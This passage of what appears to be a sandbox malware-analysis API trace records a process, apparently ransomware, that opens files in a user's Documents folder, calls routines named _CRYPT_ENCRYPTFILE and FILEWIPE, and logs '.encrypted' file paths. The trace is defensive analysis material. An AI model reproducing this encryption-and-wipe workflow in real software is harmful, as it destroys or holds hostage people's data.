wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.917] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.918] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.919] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.919] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.920] CharLowerBuffW (in: lpsz="byte[68569]", cchLength=0xb | out: lpsz="byte[68569]") returned 0xb [0024.921] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.921] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.921] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.922] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.923] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.923] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.923] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.924] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.924] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.925] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.925] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.925] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.925] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.925] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.925] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4356) returned 1 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.925] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1104, lpOverlapped=0x0) returned 1 [0024.925] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4356) returned 1 [0024.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\n", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0024.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\n", cchWideChar=54, lpMultiByteStr=0xe8f404c150, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 54 [0024.925] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40514f0*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40514f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x35, lpOverlapped=0x0) returned 1 [0024.925] CloseHandle (hObject=0x1fc) returned 1 [0024.926] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.926] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.927] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.927] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.927] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.927] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.927] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.928] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.928] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.928] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.929] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.csv", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0024.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.csv", cchWideChar=44, lpMultiByteStr=0xe8f404ba10, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.csv", lpUsedDefaultChar=0x0) returned 44 [0024.929] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.csv" (normalized: "c:\\users\\5jghkoaofdp\\documents\\hynwiycz.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=44, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0024.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=44, lpWideCharStr=0xe8f4069b90, cchWideChar=44 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.csv") returned 44 [0024.929] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.930] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.930] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.930] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.930] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.931] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.931] CloseHandle (hObject=0x1fc) returned 1 [0024.931] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.931] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.931] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.931] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.932] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.932] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.932] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.932] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.932] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.932] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.933] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 